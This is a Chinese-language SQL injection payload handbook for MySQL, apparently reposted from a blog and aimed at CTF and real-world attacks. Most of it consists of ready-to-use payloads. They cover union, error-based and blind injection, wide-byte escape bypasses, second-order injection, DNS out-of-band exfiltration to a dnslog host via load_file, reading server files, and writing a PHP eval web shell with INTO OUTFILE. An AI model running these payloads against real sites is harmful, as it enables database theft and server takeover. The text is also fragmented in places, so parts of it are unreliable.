来自https://northity.com/2019/03/02/Sql%E6%B3%A8%E5%85%A5%E6%89%8B%E5%86%8C
目前来讲就遇到过这些常见组合,快速判断数据库类型是注入的第一步
database()
schema()
USER()
CURRENT_USER()
SYSTEM_USER()
SESSION_USER()
VERSION()
@@VERSION
@@GLOBAL.VERSION
@@BASEDIR : mysql安装路径
@@SLAVE_LOAD_TMPDIR : 临时文件夹路径
@@DATADIR : 数据存储路径
@@CHARACTER_SETS_DIR : 字符集设置文件路径
@@LOG_ERROR : 错误日志文件路径
@@PID_FILE : pid-file文件路径
@@BASEDIR : mysql安装路径
@@SLAVE_LOAD_TMPDIR : 临时文件夹路径
–(后面还有个空格)
# 单行注释符,url编码为%23
/*…*/
/! 语句 / 语句会被执行 可用做分割
比较运算符
=
>
<
!=
<> 不等于的意思
like (模糊匹配 select '12345' like '12%' => true
)
in(select '123' in ('12') => false
)
between (select database() between 0x61 and 0x7a;//select database() between 'a' and 'z';
)
regexp / rlike(正则匹配select '123455' regexp '^12' => true
)
算术运算符
逻辑运算符
位运算符
select * into outfile '/tmp/test.txt'
if(expr1,expr2,expr3)
// expr1 true执行expr2否则执行expr3select case when (条件) then 代码1 else 代码 2 end
构造联合语句 + 查询结果
查询结果 + 比较运算符 + 猜测值
构造报错语句 + 查询结果
1 | %20 %09 %0a %0b %0c %0d %a0 /**/ tab |
函数名和括号直接可以插入特殊字符 ex
1 | concat/**/() |
数值型注入
1 | ?id=1+1 |
字符型注入
参数被引号包围,所以需要闭合引号
1 | ?id=1' |
闭合后构造语句再注释后面
最简单的注入
用UNION SELECT注入时,若后面要注出的数据的列与原数据列数不同,则会失败。所以需要先猜解列数。
ORDER BY
1 | ORDER BY 10 # |
当ORDER BY的数字大于列数时会返回异常,反复测试,定位出正确的列数
UNION SELECT
1 | UNION SELECT 1,2,3 # |
数据库查询
1 | SELECT GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.SCHEMATA |
表查询
1 | SELECT GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() |
字段查询
1 | SELECT GROUP_CONCAT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0xffffff |
数据获取
1 | SELECT GROUP_CONCAT(column_1,column_2) FROM databasename.tablename |
常见报错payload
floor()
1 | and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) |
updatexml() //5.1.5
1 | and 1=(updatexml(1,concat(0x3a,(select user())),1)) |
extractvalue() //5.1.5
1 | and extractvalue(1,concat(0x5c,(select user()))) |
exp() //5.5.5版本之后可以使用
1 | select host from user where user = 'root' and Exp(~(select * from (select version())a)); |
name_const //支持老版本
1 | select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x; |
geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring() 几何函数报错
1 | select multipoint((select * from (select * from (select * from (select version())a)b)c)); |
常用payload
1 | ' OR (SELECT ASCII(SUBSTR(DATABASE(),i,1) ) < j) # |
常用payload
1 | UNION SELECT IF(SUBSTR((SELECT GROUP_CONCAT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA),i,1) < j,BENCHMARK(100000,SHA1(1)),0) |
本质是if做判断然后是否执行sleep,再有回显的bool盲注中则不写延时语句,用0或者1代替
即查询结果有没有输出到页面是两者的本质区别,没有输出时才是时间盲注
除开最常见的sleep延时,还有以下姿势
1 | select benchmark(10000000,sha(1)); |
比赛姿势
笛卡尔积
1 | mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C; |
这种方法又叫做heavy query,可以通过选定一个大表来做笛卡儿积,但这种方式执行时间会几何倍数的提升,在站比较大的情况下会造成几何倍数的效果,实际利用起来非常不好用。
是pwnhub的一道题目
利用场景是有条件限制的:需要提供长连接。在Apache+PHP搭建的环境中需要使用 mysql_pconnect函数来连接数据库。
太少用到不赘述了
https://zhuanlan.zhihu.com/p/35245598
通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。
1 | mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b'); |
这三类语句中可以报错注出数据,但我要写的是如何没有报错的情况下注出数据
本质是在闭合语句后通过子查询进行注入,通常为盲注
一段我在实战中遇到的代码
1 | $result=mysql_query("update ly set content='$content',hf_content='$hf_content',modi_date='$modi_date' where ly_id='$ly_id' "); |
set 和 where 处都可以注入
建议在where处进行注入
payload
1 | 1' and sleep(1) %23 |
但是有不少的坑点,因为是根据mysql_affected_rows()判断来进行回显的,所以在update相同的值是并不会affected rows的,但是语句是可以执行的
但是字符型又有另一个坑点
字符型在与数字进行与逻辑运算时会当被做0来处理,所以无法执行and后的sleep。
所以我们只能用 or
,||
,xor
,^
但是或逻辑运算中同样存在问题
(但是具体好像还和mysql版本有关,因为看别人blog字符+or也执行成功了,但是先先不填坑了)
测试只有字符为0时才会执行or后的sleep
应该是和逻辑运算的方式有关,或运算会先检验前面是否为真,只有当前面为字符0时才为假,这是和与运算的不同之处
异或的坑点和或相似
当字符不为数字时不会执行,具体深层原因先留坑吧
这里还有坑…
or活着xor都可能导致多次sleep,因为每次检索都会or一次
实战中要尽量避免这个问题,能布尔盲注的时候就不要用sleep了
要避免这个问题就要用与逻辑且前面为真,放到where就是前面必须where一个存在的值
测试mysql版本5.3.72
1 | insert into users values (1,'{injecthere}','password'); |
类似update,不赘述了
本质仍然是盲注,根据order by 0 或者 1 返回不同的排序进行注入
ctf中的进阶形式为order by 一个特定字段
比如hctf中的一道题目
原理
1 | ... |
即服务器使用了款字节编码,addslashes会将单引号转义,变为\‘,而宽子节会把两个字符编码为一个汉字,所以如果拼接%df,那%df%5c就会被编码为運字,从而逃逸出转义。
具体拼接什么要根据数据库使用的编码来决定,可以去查编码表。
常见payload
1 | id=1%df' # |
原理
主要两个点
利用方式即注册一’admin a’用户(中间空格超长截断),达到超长截断的目的,往数据库中写入一个’admin ’用户,而在select的过程中’admin ‘是与’admin’相等的
所以就可以用’admin ‘的密码登陆’admin’
所谓二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
二次注入是sql注入的一种,但是比普通sql注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询。
二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
这个。。只能具体情况分析了,不太好写
比如sql lab-24
带外通道攻击主要是利用其他协议或者渠道从服务器提取数据
它可能是HTTP(S)请求,DNS解析服务,SMB服务,Mail服务等
只能用于windows环境
select拼接一个UNC路径导致请求发起
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式
\sss.xxx\test\
常见payload
1 | select load_file('\\\\',select hex(version()),'.dnslog地址') |
这也就解释了为什么CONCAT()函数拼接了4个\了,因为转义的原因,4个\就变成了2个\,目的就是利用UNC路径
可以直接直接用ceye.io这个平台,这个平台就集成了Dnslog的功能
利用方法
首先查看变量确定权限
show variables like ‘%secure%’
在mysql 5.5.34版本默认为空可以加载文件 但是之后版本为NULL会禁用函数但是
可以通过mysql的配置文件my.ini添加行进行配置
最好进行加密处理,防止特殊字符导致传输失败
payload
1 | select load_file(concat(0x5c5c5c5c,select hex(version()),0x2E66326362386131382E646E736C6F672E6C696E6B2F2F616263)); |
查询用户读写权限
1 | SELECT file_priv FROM mysql.user WHERE user = 'username'; |
需要有读取文件的权限
需要知道文件的绝对物理路径
要读取的文件大小必须小于 max_allowed_packet
一般没啥问题
1 | SELECT @@max_allowed_packet; |
一般用load_file来看config.php(即mysql的密码),apache配置、servu密码等。前提是要知道物理路径。
常见paylaod
1 | UNION SELECT LOAD_FILE("C://TEST.txt") # |
后面的路径可以是单引号、0x、char转换的字符
路径中的斜杠是/而不是\
使用编码
1 | UNION SELECT LOAD_FILE(CHAR(67,58,92,92,84,69,83,84,46,116,120,116)) # |
outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径
经典一句话payload
1 | select '<?php eval($_POST[cmd])?>' into outfile 'C:/www/shell.php' |
当然也可以从表中选数据写
1 | admin’ — |
在MySQL 8.0.19之后,MySQL推出几种新语法:
1 | mysql> TABLE user; |
1 | mysql> VALUES ROW(1, 2, 3) UNION SELECT * FROM user; |
假设以下代码是在过滤select, handler以及禁用堆叠注入的情景下:
1 |
|
构造恶意sql语句
1 | select * from news where $id='' or (1,'admin','{passwd}') <= (table user limit 1)# |
语句table user limit 1的查询结果如下
1 | +----+----------+---------+ |
实质上是(id, username, passwd)
与(1, 'admin', 'adminpw')
进行比较,比较顺序为自左向右 两个元组第一个字符比大小,如果第一个字符相等就比第二个字符的大小,以此类推,最终结果即为元组的大小
1 | mysql> SELECT (1, '', '') < (TABLE user LIMIT 1); |